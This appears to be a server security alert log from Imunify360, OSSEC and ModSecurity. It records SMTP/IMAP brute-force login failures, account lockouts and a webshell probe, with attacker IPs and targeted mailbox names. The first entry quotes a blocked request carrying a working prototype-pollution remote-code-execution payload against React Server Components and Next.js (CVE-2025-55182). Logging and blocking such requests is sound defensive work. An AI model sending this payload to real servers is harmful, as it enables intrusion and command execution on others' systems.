IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.35.62
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/resize.php?h=463&img=img/product_photos/169462.jpg&w=555 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 05:55:58 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:42810: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:55:20 dovecot_login authenticator failed for H=(f8FsQSbRO) [178.16.54.22]:54196: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.136
country_id: 2017370
description:
2026-02-01 05:55:31 dovecot_login authenticator failed for H=([178.178.194.136]) [178.178.194.136]:33798: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:55:16 dovecot_login authenticator failed for H=(am7SZLr83I) [158.94.208.175]:63827: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:55:53 dovecot_login authenticator failed for H=(UoXE5cfvX) [185.36.81.54]:53788: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:55:05 dovecot_login authenticator failed for H=(kDBI9h0R70) [158.94.208.215]:56878: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:55:34 dovecot_login authenticator failed for H=(Q5j8Ya) [141.98.11.11]:61281: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.170.50.2
country_id: 3932488
description:
2026-02-01 05:55:08 dovecot_login authenticator failed for H=([45.170.50.2]) [45.170.50.2]:60012: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:55:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52599: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-02-01 05:55:21 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:40956: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:56:17 dovecot_login authenticator failed for H=(adgY11q2) [158.94.208.215]:49885: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:56:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51974: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:56:45 dovecot_login authenticator failed for H=(J7WNzf) [185.36.81.54]:59610: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:56:02 dovecot_login authenticator failed for H=(II0fr2Hl) [158.94.208.175]:51607: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:56:06 dovecot_login authenticator failed for H=(jYZ3qhI) [178.16.54.22]:52520: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.174.46.130
country_id: 3996063
description:
2026-02-01 05:56:58 dovecot_plain authenticator failed for H=(squads) [201.174.46.130]:52788: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:56:27 dovecot_login authenticator failed for H=(BznhHca) [178.16.52.139]:62856: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:56:11 dovecot_login authenticator failed for H=(6c5skAXJ) [141.98.11.11]:61666: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:57:05 dovecot_login authenticator failed for H=(lGycjIoFWh) [158.94.208.215]:56648: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:57:56 dovecot_login authenticator failed for H=(NudSEkWoa) [185.36.81.54]:49489: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:57:11 dovecot_login authenticator failed for H=(VnxBdDWUdC) [158.94.208.175]:54968: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 05:57:13 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:60162: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:57:15 dovecot_login authenticator failed for H=(ZSI1klAs) [178.16.54.22]:62812: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:57:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57706: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 05:57:53 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:53178: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:57:04 dovecot_login authenticator failed for H=(gumcfeN) [178.16.52.139]:54587: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:57:50 dovecot_login authenticator failed for H=(LCAcuPgce7) [141.98.11.11]:64755: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:58:20 dovecot_login authenticator failed for H=(eMVMZa2) [158.94.208.175]:60670: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:58:24 dovecot_login authenticator failed for H=(SbqpOA5) [178.16.54.22]:50678: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:58:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-01 05:58:42 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:53636: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.246.106
country_id: 1269750
description:
2026-02-01 05:58:54 dovecot_login authenticator failed for H=([27.123.119.254]) [128.185.246.106]:51614: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:58:07 dovecot_login authenticator failed for H=(P83Yi2m) [178.16.52.139]:59020: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:58:15 dovecot_login authenticator failed for H=(0g6OOzQvkl) [141.98.11.11]:49563: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:58:17 dovecot_login authenticator failed for H=(WGt3WrDPz) [158.94.208.215]:54277: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.0.7.197
country_id: 1210997
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=7222 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:58:46 dovecot_login authenticator failed for H=(dQeab9r0) [185.36.81.54]:60598: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.246
country_id: 1835841
description:
2026-02-01 05:59:02 dovecot_login authenticator failed for H=([112.164.234.246]) [112.164.234.246]:54811: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:59:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:59:10 dovecot_login authenticator failed for H=(o7JLZ9Q) [178.16.54.22]:58342: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 05:59:42 dovecot_login authenticator failed for H=(dhCZwtnGZ) [137.220.199.220]:49250: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:59:05 dovecot_login authenticator failed for H=(TzggOZCP) [158.94.208.215]:50403: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:59:06 dovecot_login authenticator failed for H=(E9bHse) [158.94.208.175]:55713: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:59:25 dovecot_login authenticator failed for H=(N15sRWSRZi) [141.98.11.11]:56557: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:59:54 dovecot_login authenticator failed for H=(XsHdNE) [178.16.52.139]:58895: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.64.93.161
country_id: 2077456
description:
2026-02-01 05:59:12 dovecot_login authenticator failed for H=115-64-93-161.tpgi.com.au [115.64.93.161]:40223: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-01 05:59:12 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:55675: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:59:14 dovecot_login authenticator failed for H=(osv1rulF8) [178.16.52.139]:49992: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:59:19 dovecot_login authenticator failed for H=(3wS3meYKR) [185.36.81.54]:60745: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:59:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:59:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:59:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-02-01 05:59:24 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:47602: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:00:38 dovecot_login authenticator failed for H=(p2khsgPj) [141.98.11.11]:56617: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:00:09 dovecot_login authenticator failed for H=(ifKVHXUNK1) [178.16.52.139]:63967: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:00:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:00:17 dovecot_login authenticator failed for H=(svedOlfE) [158.94.208.215]:52430: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.247
country_id: 1605651
description:
2026-02-01 06:00:45 dovecot_login authenticator failed for H=([203.170.150.247]) [203.170.150.247]:59572: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:00:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:00:16 dovecot_login authenticator failed for H=(hsdwz6gvZ) [158.94.208.175]:51547: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:00:17 dovecot_login authenticator failed for H=(h6SjP6gswJ) [137.220.199.220]:50257: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:00:19 dovecot_login authenticator failed for H=(1TLOI05) [178.16.54.22]:53004: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:00:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:00:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:00:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:00:32 dovecot_login authenticator failed for H=(QkzjvFGDla) [185.36.81.54]:54261: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.204.94.173
country_id: 6252001
description:
2026-02-01 06:00:38 dovecot_login authenticator failed for H=vps-63db5216.vps.ovh.us [15.204.94.173]:37130: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.248.28.189
country_id: 6252001
description:
2026-02-01 06:01:20 dovecot_login authenticator failed for H=([166.248.28.189]) [166.248.28.189]:38820: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:01:25 dovecot_login authenticator failed for H=(fGuSh05EBI) [158.94.208.175]:57014: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:01:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
country_id: 1819730
description:
2026-02-01 06:01:09 dovecot_login authenticator failed for H=029.191.76.219.static.netvigator.com [219.76.191.29]:54166: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:01:11 dovecot_login authenticator failed for H=(5jZUQHYj) [137.220.199.220]:52778: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:01:13 dovecot_login authenticator failed for H=(DxgUTX) [141.98.11.11]:64059: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:01:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:01:05 dovecot_login authenticator failed for H=(p0OGmC) [178.16.54.22]:54338: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:01:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:01:31 dovecot_login authenticator failed for H=(6OsK2VV) [185.36.81.54]:59768: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:01:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:01:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:01:15 dovecot_login authenticator failed for H=(VDSdATtdp) [178.16.52.139]:56938: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:01:05 dovecot_login authenticator failed for H=(DN0JZc) [158.94.208.215]:57207: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 06:01:07 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:42244: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:02:20 dovecot_login authenticator failed for H=(HpyHfWwFE) [141.98.11.11]:55516: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:02:38 dovecot_login authenticator failed for H=(BeQCDq) [137.220.199.220]:61086: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:02:05 dovecot_login authenticator failed for H=(UoaeJ15G) [137.220.199.220]:58812: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:02:06 dovecot_login authenticator failed for H=(Wrusi1) [178.16.52.139]:53350: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:02:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:02:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:02:14 dovecot_login authenticator failed for H=(MRzLk2X) [178.16.54.22]:53316: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:02:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 06:02:41 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:50144: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:02:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53083: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 06:02:25 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:38804: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:02:11 dovecot_login authenticator failed for H=(r08EqbL42) [158.94.208.175]:50950: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:02:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:02:17 dovecot_login authenticator failed for H=(wYtfg8n09) [158.94.208.215]:64902: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:02:24 dovecot_login authenticator failed for H=(mtCnfU) [185.36.81.54]:61799: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 06:02:45 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:50848: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:02:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 06:03:19 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:35080: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:03:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 06:03:36 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:47833: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:03:05 dovecot_login authenticator failed for H=(mbwaSFki) [158.94.208.215]:58021: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:03:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:03:02 dovecot_login authenticator failed for H=(KwIFdcSzFi) [137.220.199.220]:62344: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:03:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:03:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49949: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
